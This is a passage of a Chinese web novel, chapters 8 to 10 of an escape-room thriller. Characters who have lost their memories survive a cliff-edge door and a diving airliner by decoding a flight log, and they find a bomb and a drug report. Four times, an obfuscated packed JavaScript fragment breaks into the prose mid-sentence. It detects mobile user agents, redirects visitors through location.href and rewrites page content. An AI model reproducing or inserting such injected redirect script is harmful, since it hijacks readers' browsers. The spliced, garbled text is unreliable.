作为M先生留言中最神秘的一条,这似乎是一个很重要的线索。 既然郝梦想起了关于外界的一切,那么她是否有可能接触过相关信息呢。 郝梦思索许久,摇了摇头:“我没有印象他们和我说过这个。” 有些可惜,却是意料之中。 轰隆隆—— 沉重的闷响传来,将众人缥缈繁复的思绪拉回现实。 似乎有什么力量在密切监视着他们的举动,郝梦讲述的话音刚落,被兔子抓烂壁纸后的墙体竟如同活物般蠕动、分开,缓缓浮现出两扇门。 门上分别画着熟悉的图案,一只睁着流出眼泪,另一只闭着尽显笑意。 正是上一关铁门上图案的拆分。 “‘记忆完整时,出口才会显现。’”谢名扬喃喃背出字条上的信息。 “我该走了。”郝梦冲众人甜甜一笑,“我干预不了你们接下来的路,只能祝愿你们一切平安顺利。” 郝梦走向睁眼的那扇门,门上亮起了一个手掌印的轮廓。 她将手贴在门上,须臾,门上的图案开始发光,像扫描一般自上而下照过她的全身,门随即缓缓向内打开,门后是一片柔和的白光。 郝梦转身,朝众人挥了挥手,身影消失在了门后。 她的背影单薄,却透着坚韧。 她满身伤痕,却有勇气悦纳一切。 她的未来,会和她的姓名一样,皆是好梦。 门,缓缓关闭。 “快!门还没关!”丁飞有些激动,他的眼珠四下乱转,蠢蠢欲动地盘算着,该如何冲进那扇通往生与自由的门。 “站住!”何成功一把按住他,“你想害死我们吗?” 何成功指向另一扇门,门上有五处手掌印的标识。显然,只有他们剩余五人同时将手放在印记上,通过验证后才能打开门,少一人都不行。 “前两关的教训还不够?违背规则,擅自行动是什么下场,你忘了?”何成功的声音阴沉严肃,“这公司玩真的!不找回我们自己的记忆,就算进入门里,等着我们的也绝不是出口,只怕是更直接的‘清理程序’!” 丁飞被他眼中的狠戾吓住,想起酸液蚀骨的痛和激光切割的寒光,嚣张气焰顿时萎靡,悻悻地垂下了头。他虽素爱偷懒走捷径,却也实在胆小,没有勇气独自去赌一个未知的结果。 “老实待着。”何成功警告地瞥了丁飞一眼,转向其他人,“郝梦的话大家都听到了。我们各有各必须面对的东西。这扇门后的挑战,只会比之前更凶险。现在,我们是一条绳上的蚂蚱。想活,想拿回记忆,就得拧成一股绳。” 何成功顿了顿:“我何成功把话放这儿:在我通关离开之前,我会尽力护着大家,能帮一把是一把。但谁要是背后捅刀子,或者像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166726|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某些人一样,”他瞥了眼丁飞,“光想着自己溜,拖累大家……别怪我事先没打招呼。” 丁飞缩了缩脖子,彻底不敢吭声了。 何成功的一番话,半是承诺半是威胁。虽严肃直白,对有异心之人属于恐吓,但对于其他人来说,却仿佛是一例安神汤,让他们不安的情绪得以抚慰。 “走吧。”何成功招招手,示意众人来到门前。谢名扬掏出遥控器,对准门按下了第二个白色按钮,门上的五只手掌印记倏然亮起了微光。 五人依次把手按在了印记上,掌心传来轻微的吸附感和一丝凉意。验证通过后,门后传来了齿轮咬合的脆响。 洞悉到他们就要离开,兔子们骚动起来,眼睛红的发亮,一窝蜂涌过来,簇拥着他们。 像是庆祝,像是送别,又像是在传递什么信息,却要瞒过那只监视的眼睛。 洛伊感觉口袋一沉。她下意识地伸手去摸——是一个小小的、冰凉光滑的玻璃瓶,里面似乎装有液体。 与此同时,那股熟悉的甜香又出现了,她一阵恍惚。 可这次似乎只有她闻到了。 “愣着干什么,快走!”谢名扬在门内催道,洛伊敛了心神,将玻璃瓶紧紧攥在手心,迈入了门后的黑暗中。 门在身后无声关闭,隔绝了所有光线。 门后是一段狭长的通道,伸手不见五指。何成功打头阵,洛伊原本因为进来的最晚排在队尾,半途1号借口有伤在身走不快,最后变成了他殿后。 一行人摸黑默然前行,通道似乎无穷无尽,只有压抑的呼吸和脚步声在回荡。直到何成功的声音传来:“有门!应该是到地方了!” 众人精神一振。 何成功摸索着找到门把手,用力一拧,门轻易地被推开了,刺眼的光从门后骤然照进来,刺得众人早已适应黑暗的眼睛不由自主地闭了起来。 “啊!”何成功的惊叫和一声闷响同时传来,紧接着,整个通道开始剧烈震动! 洛伊强撑着睁开眼睛,眼前的景象惊得她瞬间膝盖发软。 这扇门……压根不是什么下一关的入口! 它莫名开在建筑物的外墙上。门外,是数百米的高空! 何成功完全没料到门后竟是这样的景象,先是被强光刺得眯紧了眼,下一秒便一脚踏空。失重感瞬间袭来,他不由地惊叫,肾上腺激素狂飙,冷汗猛地从额头沁出。 千钧一发之际,他多年训练出的本能救了他,在失去平衡的刹那,他手臂肌肉暴涨,猛地向后一挥,五指如铁钩般死死扣住了通道边缘! “快搭把手!”离何成功最近的谢名扬反应最快,飞扑上前攥住他的左膀;丁飞愣神片刻,连滚带爬上前死死拽住他的右臂。 洛伊和1号也迅速上前,抓住何成功的衣服和皮带,拼命向后拖拽。 几人咬紧牙关,用尽全身力气,一寸一寸,将何成功沉重的身躯从死亡边缘拖了回来。当他终于滚倒在通道内的地面上时,所有人都脱力地瘫倒,大口喘着粗气,心脏狂跳得几乎要炸裂。 何成功仰面躺着,胸膛剧烈起伏,嘴唇发白,后背已是一片湿润冰凉。他嘴唇翕动,最终只吐出一句带着颤音的骂: “……他妈的……这么……这么玩是吧……” 8. 万米囚笼 阳光从敞开的门斜照进通道,照亮了他们的来时路,通道里的细节尽数呈现在眼前。 几人这才发现,那扇差点要了何成功命的门上,歪歪扭扭挂着一块写着“应急通道”的指示牌,油漆剥落,铁锈斑斑。 “有够‘应急’的。”洛伊抱着手臂评价道,“一步到位,直接快进到下辈子。” 真是个无良公司,连转场都得给他们加戏。 “这边还有一扇门!”谢名扬指向通道尽头左侧,那里有一扇与“应急通道”外观相似的门。 有了刚刚吃亏的经验,他不敢贸然推开,而是小心地拧动把手,推开一条缝隙观察。确认安全后,才彻底将门推开。 门后是一个类似大型集装箱的密闭空间,内壁通体是光滑冰冷的金属材质,空无一物,仅在顶部嵌有一圈冷色照明灯。 见此情景,众人都有些迟疑,不知道该不该进去。 可上一关的门在所有人进入通道后就彻底关闭了;途中众人一路摸索,并未发现其他出口;尽头的门又是个诡谲的“应急出口”——除了这个房间,他们又能去哪呢? 洛伊一向行事果断,迅速分析完现状,她率先迈入了集装箱房间:“没别的选择了,他们这样设计,本就是想把我们逼进来。车到山前必有路,我倒要看看,他们还有哪些把戏。” 1号扶起何成功,跟上了洛伊的步伐;丁飞和谢名扬虽稍显顾虑,也硬着头皮进入了房间。五人在房内站定的那一刻,门“咔哒”一声落了锁。紧接着,天花板中央降下一个圆盘形装置,数个细小的喷口瞬间喷出刺鼻的气体! “闭气!”何成功低吼。 众人连忙掩住口鼻,但在这完全密闭的空间里,屏气又能坚持多久呢?气体迅速充斥每个角落,透过皮肤、黏膜侵蚀神经。强烈的眩晕和无力感袭来,众人一个接一个软倒在地。 洛伊眼皮沉重,几番努力睁眼,仍挡不住浓浓倦意。失去意识前,她恍惚瞥见有一道人影蹲在她身边,面庞模糊不清,正在她身上翻找着什么。 “不要……”她的指尖动了动,挣扎着想捂住口袋里的玻璃瓶,却发觉自己连抬手的力气都没有了,只能无奈沉沉睡过去。 ……. 周身一阵剧烈的颠簸,洛伊在尖锐的警报声中惊醒。她猛地睁开眼,第一时间摸向口袋——空了!寒意瞬间从脊椎窜上头顶,无数个念头瞬间在她的脑中闪过,最终化为一个冰冷的结论: 有内鬼! 她很确定昏迷前房内不存在第六个人,因此这个目的明确拿走玻璃瓶的人,就在他们中间! 但当前的处境容不得她追究这个问题,她震惊地发现自己正身处一架客机机舱内!放眼窗外,一片蔚蓝天色;低头俯瞰,他们正处在云层之上的万米高空! 她醒得最早,其他人仍横七竖八地歪倒在座位上。她迅速检查了几人的衣袋,没有找到任何玻璃瓶的痕迹。显然,对方早已处理干净了。 机舱内,警报声通过广播持续回荡,应急灯忽明忽暗地闪烁。每一块座椅背后的屏幕上,都亮着同样一行刺眼的猩红大字: 【飞机坠毁倒计时:1:00:00】 当洛伊目光触及到倒计时的一刹那,屏幕上的数字开始疯狂跳动。 又来这招?! 洛伊翻了个白眼。 这破公司就没点新花样? 她不敢耽搁,立即起身叫醒其他人。悠悠转醒的他们还带着昏沉的懵意,满舱的警报声和屏幕上跳动的倒计时像一把利刃,给了他们沉重的一击。 洛伊一把按住身旁差点从座位上弹射出去的丁飞,沉声道:“别乱动!” 最先冷静下来的是何成功,他目光锐利地扫视四周:“现在是什么情况?” “如你所见,我们已经在天上了。”洛伊想了想,又补充道,“指物理意义上的天上。” 谢名扬拿衣角擦干净了镜片:“这Memory公司真舍得下血本啊,连飞机都能搞来。” “大哥大姐们,这关咱们怎么过啊?”丁飞谄媚地苦笑着,一改往日嚣张的作风,双手合十举过头顶,恭恭敬敬地拜了一圈,“……咱们、咱们快点通关行不行?我、我恐高啊真恐高……” 丁飞语无伦次,冷汗涔涔,脸色苍白,看来不是在撒谎。 “知道怕了才能让你老实点!”何成功呛了他一句。 丁飞不敢怒也不敢言,继续赔着笑脸。 一回生二回熟,众人四散开来寻找线索。机舱内一片死寂,几张小桌板上还摆着喝了一半的橙汁,行李架上零星放着些随身物品,仿佛就在一瞬间,所有的乘客和空乘人员都凭空消失了。 是谁在驾驶飞机? 1号缓步走到驾驶舱门前,敲了敲门,无人回应:“门锁着,外面有个密码面板。” “后面的货舱门也是锁着的!”谢名扬的声音从客舱后部传来。 洛伊在行李架上找到了一只黑色登山包,鼓鼓囊囊的,她没有直接打开,而是拎到了丁飞的座位边——是的,这个怂包一点都不敢离开座位。 “你,检查这个包。”洛伊把包扔给丁飞,“仔细点,什么线索都别放过。” 分散注意力可以很大程度缓解恐惧,丁飞如蒙大赦,手忙脚乱地开始翻找。 “这儿有个笔记本,叫什么……《飞行日志》。”何成功在靠背的杂志袋里搜出了一本皮质笔记本,封皮有些烂了,页脚用英文花体刻着一句经典鸡汤“Lightshinesindarkness”。 众人聚到一起,翻开了日志。日志的内页褶皱泛黄,字迹有些杂乱,能看得出不是一个人的字迹,涂改划痕明显。 “XZ-08航班 执行日期:█████ 基准巡航高度:35000英尺 机组:6人 乘客:128人。” 不知为何。日期被涂黑了,乘客人数处也被胡乱地划了几道斜杠,旁边有一个加粗的问号。 “起飞30分钟后进入平流层,一切正常……副驾反馈高度表指针有点飘,应该是仪器老化,没大问题,已记录。” 第一页内容中规中矩,何成功缓缓翻到了第二页,他的手突然顿住了。这一页的字迹与第一页截然不同,字距忽大忽小,墨点无序滴落在纸上,像是记录者已经手抖得握不稳笔。 “他们说航线审批没问题,但气象雷达怎么没预警?” “第一次乱流!毫无征兆!机身猛沉,高度表直坠到30200,稳住了……” “又来!第二次乱流更凶,刚爬升到33100,气流又把我们拍回了28900。座舱高度突破10000英尺,氧气面罩舱弹开了!” “第三次!这绝对不是自然乱流!高度表疯转,从28900突然爬升到41000,又跌到29900——有人动了操控台!███很不对劲!” 此处有密集的划痕,像是用钢笔尖狠狠刮的,字迹被染得模糊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166727|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 翻到下一页,何成功眉头皱起。纸张边缘撕裂,部分纸面被暗红污渍浸染,字迹扭曲。 “舱里温度在降,仪表盘报错,液压系统有异响。不是故障——我检查过三次。是有人动过管路,液压油渗漏点太干净了!” “货舱里有撞击声!节奏规律,像是有人从内部敲打舱壁。奇怪……那里怎么会有人?液压异常的地方也对得上,我让副驾去查看……” “有内鬼!” 记录戛然而止,最后一行字迹暗红,像是用干涸的血迹写就。 这本诡异的日志看得洛伊后背发凉,尤其是最后那三个血字,让她有一种现实与过去交织的诡异感。其他人面色也不是很好,众人沉默着一时无言。 “所以这本《飞行日志》想告诉我们什么?操作步骤还是密码?”何成功接连发问,“我们应该要复现飞行高度轨迹,还是要从这些数字里找到驾驶舱的密码?” “没密码的情况下我们进不去驾驶舱。”谢名扬推推眼镜,接过日志本,一页一页地细细研究。 日志本里有太多的数字,从飞机编号到人员数量,再到一串串的高度数据,让人无从下手。翻来覆去没看出个所以然来,他索性合上了笔记本。封面上那句“Lightshinesindarkness”再次映入眼帘,他猛地一拍大腿。 光明在黑暗中闪耀。 他急切地拿着日志本凑到闪烁的应急灯前,找到被涂黑的几处地方,将书页蒙在光源上。橙黄色的灯光忽明忽暗地透过纸背,被涂黑的地方渐渐显示出一串数字来。 “0…6…1…8…”谢名扬仔细辨认着,喃喃念出口,“后面还有个向下的箭头。” 1号回到了驾驶舱门旁:“试试这个密码?” “四位数密码……可能是驾驶舱的。”谢名扬看向众人,“没有其他线索了。” “赌一把。”何成功点头。 “滴滴滴滴——”1号快速地按完密码,众人屏息静待着舱门开启。 许久,预想中齿轮咬合的开门声没有响起,取而代之的是一阵强烈的失重感——飞机毫无征兆地开始向下俯冲! “怎么回事!密码输错了吗?”何成功艰难地抵抗着失重的不适感,费力扯出安全带将自己牢牢绑在了座位上。 洛伊和谢名扬也迅速艰难地固定住自己。 1号因为站在过道,在俯冲开始的瞬间便被抛向半空。但他反应极快,伸手猛地抓住头顶的行李架栏杆,身体在空中荡了半圈,迅速借力将自己卡在了座位与舱壁之间,勉强稳住了身形。 丁飞就没有他们好运了,在飞机开始俯冲的那一刹他就吓得晕了过去,他瘫软的身体像乒乓球一样在机舱里弹跳冲撞,直到滚到了驾驶舱附近,倒立着贴在了墙上。 “喂!醒醒!丁飞!”何成功朝着丁飞的方向大声呼喊。虽然他向来对这个贪生怕死的小胖子没什么好感,但也真不希望他就这样窝囊地出事。 1号见呼喊无效,便抓紧旁边的座椅靠背,伸腿朝着墙上的丁飞狠狠踢了一脚。 “哎哟!”剧痛让丁飞瞬间苏醒,他瞅瞅自己的处境,翻了翻眼皮又想晕过去。 “1号,他敢晕就再踢。”洛伊冷声道。 丁飞一个激灵,立即精神了:“别!别踢了,我醒着,我醒着还不行吗!” 他憋得满脸通红,拼尽全力想要挣脱倒立的姿势,却突然僵在了原地,眼神直勾勾地盯着驾驶舱门,连呼吸都顿住了。 9. 让渡呼吸 这感觉……太熟悉了。 这种血液冲向头面部,眼球发胀,鼻腔酸涩的不适感;这种世界颠倒,努力挣扎,却无法起身的无助感;这种灾祸临近,却无能为力的绝望感…… 太过于熟悉了。 “回神!丁飞!” 众人的呼唤声远得像从天边传来。 丁飞猛地一激灵,涣散的目光重新聚焦。他剧烈地喘息着,将手撑在地板上,双腿用尽全力往后一蹬,终于摆正了身体,狼狈地斜趴在驾驶舱旁的舱壁上。 “我知道了。”没等喘匀气,他便手脚并用一点点爬向密码面板。 “你要干什么!”想到先前的遭遇,谢名扬惊恐地大喊,“不能乱试了!你会害死我们的!” 丁飞没理会。他沾着冷汗手指悬在按键上方,眼神死死盯着驾驶舱门。那里,有一个极其浅淡、几乎与金属纹理融为一体的向上箭头刻痕。 “8…1…9…0…” 滴—— 一声清脆的刷卡提示音响起,这是刚刚密码错误时未曾听到的。 紧接着,“咔哒”一声轻响,驾驶舱门锁解除,密码是正确的! 丁飞踉跄地扑进驾驶舱,只见仪表盘红灯疯狂闪烁,操纵杆被无形的力量死死前顶。 驾驶座上空无一人! “妈的!”他低骂一声,扑到主驾驶位,双手虎口扣紧冰冷沉重的操纵杆,压上全身重量,使出吃奶的力气,对抗着那股前顶的力量。 机头开始缓慢抬升,失重感减弱,众人得以缓过劲来。何成功解开安全带,扶着座椅靠背快步走向驾驶室:“我来吧,我好像……会开飞机。” 握上操控杆,一种近乎肌肉记忆的熟悉感瞬间涌上心头。何成功快速扫过仪表,手脚并用,推杆、踩舵、调整配平……一系列动作流畅得仿佛演练过千百遍。飞机终于从致命的俯冲中改出,渐渐恢复平稳。 丁飞如释重负地瘫坐在了地上。 “你怎么知道密码的?”谢名扬好奇极了。 “门上有个向上的箭头。”丁飞解释道,那箭头淡淡的,不仔细看难以发现,“如果将它和门右侧的密码装置看作一个整体,与密码一一对应,就必须把密码翻转180度。” “0618↓就变成了↑8190。” “干得漂亮,小子!”何成功腾出一只手拍了拍丁飞的肩膀,“这次多亏了你!” 其他人也纷纷对他投去赞许的目光。 丁飞不好意思地挠挠头,恢复了几分先前的不可一世:“那肯定啊,也不看看小爷我是谁!” 他承认自己带着几分赌的成分,回想起输密码时的莽撞,只觉得后怕不已。可那时候他就是非常笃定,像有股力量在冥冥之中指引着他,站出来打破僵局。 幸好密码是正确的,他心里某块儿空落落的地方,似乎正被慢慢地补上了一块。 “接下来?”谢名扬举起那本《飞行日志》,“要按照里面记录的高度尝试一下吗?” 在要找回记忆的大前提下,每一道谜题、每一处机关的设置,似乎都与他们的过去息息相关。只有弄清楚副本的故事背景,找回丢失的记忆才能通关。 日志本,无疑是他们目前掌握的最直观的证据,里面的记录疑点重重。 众人默契地点点头,同意尝试。 “系好安全带,抓稳了。”何成功沉声提醒,目光锁定高度表,“当前高度35000。第一个目标:30200。” 他缓缓前推操纵杆,升起扰流板,飞机开始平稳下降。 “准备拉升到33100英尺。”何成功持续报着高度,飞机轻盈地抬头爬升。 “注意!要二次俯冲了,这次俯冲速度会很快,可能会失压,大家注意氧气面罩脱落!”何成功戴上氧气面罩,猛推操纵杆开始俯冲。 失重感瞬间袭来,比之前任何一次都要剧烈。众人只觉得耳膜传来尖锐的疼痛感,胸腔中残留的空气被暴力地挤出,窒息感瞬间扼住喉咙。与此同时,机舱内响起尖锐的失压警报! 砰!砰!砰! 头顶的氧气面罩舱接连弹开。紧接着,黄色面罩簌簌落下。缺氧的本能迫使众人迅速戴好氧气面罩。洛伊的视野在失压下骤然收窄,她奋力摸索半天也没找到氧气面罩。强撑着定睛去看,才惊觉她头顶的面罩舱,竟然毫无动静! 糟了!故障? 飞机持续俯冲着,洛伊只觉得血液直冲头顶,缺氧的感觉愈发强烈,肺部火烧火燎,眼前阵阵发灰,时间被拉得无比漫长。恍惚间,耳边响过清脆的铃声…… 就在她快要失去意识的时候,脸上似乎被扣上了什么东西,带着新鲜温润的水汽。下一秒,氧气猛地冲入肺腑,她贪婪地大口呼吸着,意识渐渐恢复清明。 是1号,他将自己的氧气面罩让给了她。 洛伊睁大了眼,在这种严重失压情况下,没有氧气,半分钟就会意识模糊,接着就是失能,陷入濒死的危险境地。 他竟然把氧气让给了自己! 她来不及思考1号这么做有什么动机,只是焦急地想拨开他的手。那手修长而骨节分明,此刻正用力地覆盖在氧气面罩上,稳稳地护着她的呼吸。 1号屏着气,脸色苍白,额角青筋浮现,但他看着她的眼神却异常平静,嘴角甚至还挂着游刃有余的笑,仿佛一切尽在他的掌控之中。 洛伊向来不愿欠人情,也不愿看到1号出事,她稳住身形,抬手攥拳狠狠砸向氧气面罩的舱门。 一下……两下—— 咔哒—— 一声脆响,舱盖变形弹开,被卡住的面罩终是掉落了下来,洛伊一把抓起面罩,反手扣在了1号脸上。感受到温热的呼吸透过面罩喷在手心,她才松了口气。 他们就维持着这样诡异的姿势,一直到何成功的声音模糊地从驾驶舱传来。 “注意!现在要爬升了!” 俯冲的趋势减缓,舱内压力渐渐恢复,众人的不适感随之减轻。洛伊拍拍1号的手,示意他松手,两人迅速整理,各自稳稳地戴好面罩。 爬升到41000英尺,机舱内的温度骤降,舷窗上凝结出了白霜,玻璃剧烈颤动向内凹陷。众人只觉得四肢冻得有些麻木,胃里一阵阵地痉挛。 再撑撑,再撑撑就好了,还有最后一次高度变化。 何成功已经发不出声音了,他死死地盯着高度表,当指针达到41000英尺的阈值后,他咬牙缓缓前推操纵杆,让飞机开始下降。当高度表指针颤巍巍地指向29900英尺时——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166728|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 咚!咚!咚! 清晰、规律的撞击声,从飞机后部的货舱方向传来!与日志中的记载,一模一样! 成了。 何成功稳住飞机,设定好自动巡航,随后返回到了客舱中。舱内一片狼藉,各种物品四散一地。倒计时仍在跳动:【00:38:11】 “都没事吧?”他出声询问,嗓子哑得厉害。 洛伊和1号冲他点点头,谢名扬正趴在地上找他不翼而飞的眼镜。至于丁飞,不出意外又昏死过去了。 “让他睡会儿吧。”洛伊解开安全带站起来,肌肉因长时间紧绷而酸痛,她活动活动了筋骨,“日志提到乱流后,货舱里出现了异响,现在该转战货舱了。” 1号起身走向货舱舱门,伸手推了推,眉头微皱:“还是锁着的。” 看来,高度还原只触发了“有节奏的撞击声”,并没能打开舱门。 他们还需要更多线索。 剧烈的颠簸把物品全甩在了地上,倒也省了他们一个个地翻行李架和柜子的麻烦。 “那个东西……是什么时候出现的?!”谢名扬指着登机门上无端出现的黑色盒装物体问道,“我记得最开始检查的时候,门上什么也没有!” 谢名扬小心靠近,伸手在盒子上拍了拍。 哔—— 尖锐到足以刺破耳膜的警报声猛然炸响!同时,盒子顶部亮起一块屏幕,鲜红的数字开始跳动——竟然与客舱屏幕上的飞机坠毁倒计时分秒同步! “原来是通过这种方式让飞机坠毁。”洛伊若有所思地点点头,她一直在思考,如今驾驶权在他们手里,Memory公司会用什么手段让飞机在规定时间内坠毁。 现在她知道了。 用炸弹。 其他人很快也意识到了这点。 谢名扬连滚带爬地逃离登机门,颤声问:“这……这可怎么办,我们要拆炸弹吗?” 洛伊摇摇头,如果公司的目的是让他们拆炸弹,就不会有《飞行日志》里的线索和货舱里的响声了。她觉得还是要把重心放在打开货舱门上。 何成功也这么认为,他拍拍谢名扬的肩膀:“他们的目的是帮我们找回记忆,而不是杀了我们。” 只要顺着故事线发展下去,找回他们中某个人遗失的记忆,就能通过这一关了。 可是,真的是这样吗? 洛伊抿了抿唇,她总觉得这一关有些不对劲。上一关的记忆载体郝梦,从进入副本的那一刹就开始有了反应,碰到有关记忆重要节点的物品和区域时,反应更是强烈。也正是靠着她逐渐复苏的记忆,他们才能顺利通关。 而这关,直到进行到这个阶段,还没有人表现出记忆复苏的迹象。 “你们有谁,”她目光缓缓扫过众人,“对飞机、对日志、对货舱的响声……或者对任何东西,有特别的感觉吗?” 何成功摇摇头:“虽然发现了我会开飞机的技能,但是这一关应该不是为我设置的。我没有任何特别的反应。” 谢名扬推推眼镜,附和道:“我也没感觉到有什么异样。” 1号摊手耸耸肩。 洛伊知道肯定也不是自己。 那么就只剩下—— 还在昏迷中的丁飞了。 10. 黎明危机 众人围到丁飞身边。他睡得很不安稳,眉头紧锁,额头渗出冷汗,碎发湿漉漉地贴在皮肤上。眼皮下的眼珠急速转动着,仿佛被困在一场醒不来的噩梦里,嘴唇翕动,发出破碎的呓语:“不是我……不是……” “醒醒!”何成功拍拍他的脸,见没反应,狠狠地掐了下他的人中。 “嗬!”丁飞倒吸一口冷气,惊慌地睁开了眼睛:“怎么了怎么了?飞机要坠毁了吗?” “你再不醒就真要坠毁了。”洛伊迅速将炸弹和当前情况简述了一遍。 “炸弹?!”听到这个词,丁飞脸上的血色瞬间褪色一干二净,一种从骨子里蔓延出来的恐惧席卷了他,他的嘴唇开始打哆嗦,“有……有谁会拆炸弹吗?” “很遗憾,并没有。”洛伊摊摊手,看起来很遗憾地摇了摇头。 丁飞绝望了,哀嚎道:“那怎么办?我们只能等死了吗?” “不想死也有机会。”洛伊走到他面前,俯下身,直直地与他对视,“丁飞,看着我的眼睛。关于飞机,关于炸弹,关于机舱里的一切,有没有什么东西是你觉得有异样的?” “仔细想想。” 洛伊放平声线,目光坚定而平静。丁飞与她对视着,焦躁的情绪渐渐平息下来。 “不对劲的东西……”丁飞努力思考着,眼睛突然一亮,“包!那个背包!就在你给我的那只包里!” 舱内很乱,那只包被甩到了角落的地上,众人费了好一番功夫才找到。拉开拉链,里面放着一份厚重的牛皮纸文件袋,一个透明玻璃瓶和一只纸飞机。 视线落在玻璃瓶上,洛伊的瞳孔猛地一缩。在兔子把那个玻璃瓶塞进她口袋后,她便进入了黑暗,连将其取出端详的机会都没有,只清晰记得指尖碰到瓶身时,标签一角卷起的触感。 她走上前拿起瓶子,指腹仔细抚过标签。印着“R”字母的纸面平整光滑,没有一丝卷曲的痕迹。这显然不是兔子给她的那个,而是这一关中出现的全新线索。 “对,就是这个玻璃瓶。”丁飞指着玻璃瓶开口,“你们凑近闻闻,有没有闻到熟悉的味道。” 正是那股甜香味。 “我们的嗅觉细胞好像都认识这个味道。”谢名扬接过玻璃瓶晃了晃,应急灯光透过翻腾的透明液体,折射到他的脸上,给他嘴角勾起的弧度蒙上了一层橘黄色的纱。 他看着那液体的神情,有些奇怪。 “至于其他两件物品……”丁飞伸手想要拿过那份文件袋,在指尖碰到文件袋的瞬间,他突然大叫一声,猛地抱着头痛苦地蹲下身去。 “啊!!!” 众人被丁飞突如其来的动静吓了一跳,何成功迟疑着上前拍拍他的肩,踌躇着问道:“兄弟,你没事吧?” 丁飞没有回应,只是将自己蜷成一个球,浑身止不住地发抖。耳边炸开无数尖叫,眼前掠过冲天的火光,他分不清那是过去的碎片,还是未来的预兆。 无数声音在脑海中撕扯翻搅,男声、女声、苍老的、稚嫩的……全都重复着同一句质问: “为什么不相信她?都是你害死了我们!” 他发狂一般使劲扯着自己的头发,一边摇头一边喃喃自语:“不……不是我……” “你冷静一点!”何成功按住他的手,逼迫他抬头,“丁飞,你想起什么了?” “不是我!不是我!相信我!我没有!!”丁飞嘶吼着,涕泪横流,瞳孔涣散,显然意识已然模糊,整个人彻底沉浸在了回忆里。 何成功见来软的不行,一巴掌拍在了他的脑门上,喝了声:“呔!” 这一巴掌格外奏效,丁飞的眼神一下就清澈了,瞳孔重新聚焦,身体也不抖了,就是一脸茫然,似乎大梦初醒还没回神。 “刚刚你想起什么了吗?”洛伊再次发问。 这次丁飞听见了,他语无伦次地开口:“火……冲天的火光!人们在我的耳边尖叫……世界翻来覆去地颠倒着……好热……好烫……有一个人挡在了我的面前,可是我看不清她的脸……” 他突然开始用力抓挠自己的后背,扯开的衣领下,密密麻麻地爬满了大片狰狞的烧伤疤痕,触目惊心。 何成功捉住了丁飞带着自虐力度抓挠的手,他的背上已经渗出了条条血痕,他却像感觉不到一样,机械地动作着,仿佛想要从皮肉里生生抠下来什么。 洛伊拿起文件袋,牛皮纸封面上赫然写着“绝密”二字,开口处用印有“R”字母的胶带封口工整。她用利器划开胶带,从文件袋中抖落出一份文件和一张照片。 “R██临床试验核心数据及风险评估报告……” 洛伊快速浏览了一下文件内容。这应该就是郝梦提到的,Memory公司在他们身上测试的药品ROM的研究报告。通篇关键药物名称、化学式、受试者信息均被涂黑,应该是为了保证资料的机密性。报告扉页的负责人签名处,龙飞凤舞地签着一个名字:丁玉。 “照片里的场景,有些眼熟……”谢名扬举着照片四处比对,最终停在了传来规律敲击声的货舱门前,“就是这个角度。” 照片拍摄了一群身着统一服装的游客,他们并肩站定在货舱门前,眉眼间全是对即将启程旅途的热切期盼。 “这个人……是不是丁飞?”谢名扬指着照片上的一个大胖小子问道。那跋扈的神情,那眯缝的眼睛,那偌大的肚腩——如假包换的年轻版丁飞! 照片里的丁飞似乎有些不高兴,撅着嘴叉着手偏着头,似乎不想跟他左边的那位女士交流。那位女士留着利落的齐耳短发,头顶有些斑白,眼角爬满了皱纹,目光却是非常的锐利,仿佛能够透过照片跨越时空与他们对话。 “这是他母亲吗?”谢名扬也注意到了那位女士,他自问自答,“应该不是,两个人长得一点都不像。” 不知怎的,看到那位女士,洛伊的心猛地揪了一下,一种钝痛从心脏处向外蔓延开来,鼻子酸酸的,眼前莫名蒙了层水雾。 她是谁? 洛伊努力去想,太阳穴一阵阵地胀痛,尘封的记忆似乎被撬开了一个角。 “我一直教导你们,我们的目标不是牟利。而你们现在究竟在干什么?”她耳边响起愠怒的女声,“你们太让我失望了!” 洛伊的眼前闪过一个穿着白大褂的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166729|196748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那个背影决绝地向前走着,没有回头。 